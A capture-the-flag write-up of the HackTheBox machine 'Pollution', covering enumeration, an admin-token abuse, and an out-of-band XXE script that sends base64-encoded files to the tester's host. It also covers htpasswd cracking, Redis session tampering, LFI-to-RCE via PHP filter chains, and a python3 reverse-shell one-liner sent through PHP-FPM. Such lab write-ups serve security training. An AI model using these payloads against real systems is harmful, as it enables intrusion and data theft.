Security Stuff
  • About
  • HackTheBox
    • Windows
      • Forest
      • Escape
      • Timelapse
      • Support
    • Linux
      • TwoMillion
      • Soccer
      • Pollution
      • Pilgrimage
      • Sandworm
  • Windows
    • Authentication
      • Overview
      • Logon
      • Kerberos
      • Credential
    • Active Directory
      • Domain Service
        • LDAP
        • AD Objects
      • Key Distribution Center
      • Certificate Service
    • Windows Protocols
      • SMB
    • Windows Server
      • MSSQL
    • Execution
      • Windows APIs
      • Remote Access
        • WinRM
    • Credential Access
      • Kerberos Ticket
        • Kerberoasting Attack
        • Golden/Silver Ticket Attack
        • AS-REP Roasting Attack
      • OS Credential Dumping
        • DCsync Attack
      • Certified Pre-Owned
  • Linux
    • Management
      • Package
    • Process
      • Namespace
      • Terminal
  • Web
    • Authentication
      • SAML
      • OAuth
    • Enumeration
  • Defense
    • Windows
      • Windows Event Logs
  • Development
    • Programming Language
    • Database
      • MySQL
    • Virtualization
      • Container
    • Cryptography
      • GnuPG
Powered by GitBook
On this page
  • Overview
  • Reconnaissance
  • Services Discovery
  • URL Path Discovery
  • vHosts
  • Forum
  • Admin Role
  • Internal API
  • Initial Access
  • XXE
  • Out-of-band XXE
  • htpasswd Crack
  • Developers
  • Redis Session Handler
  • LFI to RCE
  • Lateral Movement
  • PHP-FPM
  • FastCGI Protocol
  • Privilege Escalation
  • Reference
  1. HackTheBox
  2. Linux

Pollution

PreviousSoccerNextPilgrimage

Last updated 1 year ago

Overview

A hard Linux machine created by features techniques including:

  • Web Enumeration

  • XML External Entity

  • Redis Session Handler

  • PHP LFI to RCE

  • PHP-FPM

Reconnaissance

Services Discovery

We found ports 22 and 80 open on the target.

$ sudo nmap -n -Pn -oN ports.txt -v -p- -sS -T4 --min-rate 1000 10.129.228.126
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

URL Path Discovery

We can find the following URL paths without authentication:

  • /login

  • /register

We registered a new account via /register and we can find more paths including:

  • /home

  • /logout

vHosts

On the home page, we see the email address info@collect.htb, and hence we shall add the domain to the file /etc/hosts.

We can then use the tool ffuf to try to fuzz the vHosts and we shall see the virtual hosts forum and developers exist.

ffuf -u http://10.129.228.126 -H 'Host: FUZZ.collect.htb' -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 26197

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.228.126
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.collect.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 26197
________________________________________________

forum                   [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 436ms]
developers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 6ms]
:: Progress: [4997/4997] :: Job [1/1] :: 620 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
$ curl http://developers.collect.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.54 (Debian) Server at developers.collect.htb Port 80</address>
</body></html>

Forum

The virtual host forum.collect.htb hosts a forum powered by MyBB.

In a thread, we found an attachment that can be downloaded via a valid account.

The content of the attachment is generated by the BurpSuite with base64 encoded request/response payload.

Admin Role

We see a relevant URL collect.htb/set/role/admin in the file.

$ grep '\.htb' forum/burp.xml 
    <url><![CDATA[http://collect.htb/set/role/admin]]></url>
...

By decoding the payload, we see the admin token may be used to set our account to be of the admin role.

$ echo 'UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==' | base64 -d
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

We successfully updated our collect.htb account to the admin role using that token and we see that we are redirected to /admin.

We can access the administration panel now.

Internal API

There's a form on the admin page which will post data in the XML format.

It looks like the form data is passed to an internal API.

Initial Access

XXE

We try to test if the endpoint /api above has the XXE vulnerability.

From the error message, we see that the endpoint may have the XXE vulnerability.

Out-of-band XXE

We can exfiltrate data by serving an external malicious DTD file as the following explanation.

To demonstrate the out-of-band XXE, we set up an Express app which will

  • serve the varying DTD files and

  • decode the base64 encoded out-of-band information,

const express = require('express')
const app = express()
const port = 8000

app.use(express.static('public'))

app.get('/', (req, res) => {
    try {
        console.log(Buffer.from(req.query.leak.replace(/ /g, '+'), 'base64').toString())
    } catch(e) {
    }
    res.send('ok');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Then we can use the following Python script to read files on the target interactively.

#!/usr/bin/env python3

import cmd
import requests

class Lfi(cmd.Cmd):
    def __init__(self):
        super().__init__()

    def emptyline(self):
        pass

    def default(self, path):
        content = f'''<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={path}">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://10.10.14.10:8000/?leak=%file;'>">
%payload;
%run;'''
        with open('./http/public/oob.dtd', 'w') as dtd:
            dtd.write(content)
        proxies = {
            'http': 'http://localhost:8080'
        }
        cookies = {
            'PHPSESSID': '2slrifhvc8652e7t8tg1116liq'
        }
        data = {
            'manage_api': '''<!DOCTYPE root [<!ENTITY % xpl
SYSTEM "http://10.10.14.10:8000/oob.dtd">%xpl;]><root><method>POST</method>
<uri>/auth/register</uri> <user><username>test</username><password>test</password>
</user></root>'''
        }
        requests.post('http://collect.htb/api', proxies=proxies, cookies=cookies, data=data)

l = Lfi()
l.cmdloop()

We see that we can read the local files now.

Given that, there's a virtual host developers.collect.htb, here we need to guess the config file's name for it.

We see the usage of the .htpasswd file in the config and we shall try to crack the password to access the site.

htpasswd Crack

We can try to crack the htpasswd hash using hashcat with mode 1600.

$ hashcat -m 1600 <htaccess_hashes> <wordlist
$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket     
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
Time.Started.....: Sun Sep  3 15:31:17 2023 (13 secs)
Time.Estimated...: Sun Sep  3 15:31:30 2023 (0 secs)
Guess.Base.......: File (/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16400 H/s (7.21ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 214272/14344384 (1.49%)
Rejected.........: 0/214272 (0.00%)
Restore.Point....: 214016/14344384 (1.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: rayburn -> public1

We successfully got the credential developers_group:r0cket.

Developers

After we get access to the site developers.collect.htb, we use the file-reading ability to inspect the source code of the site.

We see that we need to be authenticated to access the page index.php.

/var/www/developers/index.php
<?php                                                                                                                                                
require './bootstrap.php';                                                                                                                           
                                                                                                                                                     
                                                                                                                                                     
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {                                                                                        
    die(header('Location: /login.php'));                                                                                                             
}                                                                                                                                                    
                                                                                                                                                     
if (!isset($_GET['page']) or empty($_GET['page'])) {                                                                                                 
    die(header('Location: /?page=home'));                                                                                                            
}                                                                                                                                                    
                                                                                                                                                     
$view = 1;                                                                                                                                           
                                                                                                                                                     
?>                                                                                                                                                   
                                                                                                                                                     
<!DOCTYPE html>                                                                                                                                      
<html lang="en">                                                                                                                                     
                                                                                                                                                     
<head>                                                                                                                                               
    <meta charset="UTF-8">                                                                                                                           
    <meta http-equiv="X-UA-Compatible" content="IE=edge">                                                                                            
    <meta name="viewport" content="width=device-width, initial-scale=1.0">                                                                           
    <script src="assets/js/tailwind.js"></script>                                                                                                    
    <title>Developers Collect</title> 
</head>                              

<body>
...

We found there's an LFI vulnerability we can exploit if we can get authenticated.

...
    <div class="flex flex-col h-screen justify-between">
        <?php include("header.php"); ?>
                                     
        <main class="mb-auto mx-24">
            <?php include($_GET['page'] . ".php"); ?>
        </main>                      

        <?php include("footer.php"); ?>
    </div>                           

</body>                              

</html>

Redis Session Handler

We can authenticate to the Redis server using nc with password COLLECTR3D1SPASS found above.

$ nc -v collect.htb 6379
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK

We can manipulate our session data to be authenticated via the above Redis connection.

$nc -v collect.htb 6379                                              
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK
keys *
*2
$43
PHPREDIS_SESSION:2slrifhvc8652e7t8tg1116liq
$43
PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon
set "PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon" "auth|b:1;"
+OK

We can access the page and abuse the LFI now.

LFI to RCE

With full control of the PHP include path, we may try to upgrade the LFI ability to RCE via PHP filters.

As in the above article, we can get the RCE using a chain of PHP filters.

Lateral Movement

PHP-FPM

We first found the port 9000, which may be used by PHP-FPM, is opened on the localhost.

List of pool directives

With FPM you can run several pools of processes with different setting. These are settings that can be tweaked per pool.

... SNIP

user string

Unix user of FPM processes. This option is mandatory.

FastCGI Protocol

We can use Python to get our reverse shell now.

(Cmd) python3 /tmp/fpm.py localhost /var/www/developers/index.php -c "<?php system(\"python3 -c 'import socket,pty,os;s=socket.socket();s.connect((\\\"10.10.14.6\\\",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\\\"/bin/bash\\\");'\");?>"

Privilege Escalation

We found an Express app source code under the user victor's home directory and the app seems to be running under the user root.

The story goes on...

Reference

The host developers.colloect.htb requires us to be authenticated through .

By inspecting the file bootstrap.php, we see that the site uses Redis to manage sessions, refer to .

We can check if this port is used by php-fpm using ps and check the user running it is victor by checking the config www.conf under /etc/php/8.1/fpm/pool.d, refer to .

We can talk to the PHP-FPM using .

By uploading the Python script , we can run commands under the user victor now.

HTTP authentication
session.save_hander
the documentation
the FastCGI Procotol
fpm.py
Tr1s0n
The forum
The attachment can be downloaded via a valid forum account
The form will send data in the XML format
Read file using Out-of-band XXE
The config file for site developers.collect.htb
Hack The Box
What is XXE (XML external entity) injection? Tutorial & Examples | Web Security AcademyWebSecAcademy
PHP filters chain: What is it and how to use itSynacktiv
Logo
Logo
Guide to XML entities with examples | Web Security AcademyWebSecAcademy
Logo
What is a blind XXE attack? Tutorial & Examples | Web Security AcademyWebSecAcademy
LFI2RCE via PHP FiltersHackTricks
Logo
Logo
Logo
All labs | Web Security AcademyWebSecAcademy
XXE Labs
Logo
How to Set Up a Redis Server as a Session Handler for PHP on Ubuntu 14.04 | DigitalOceanDigitalOcean
Logo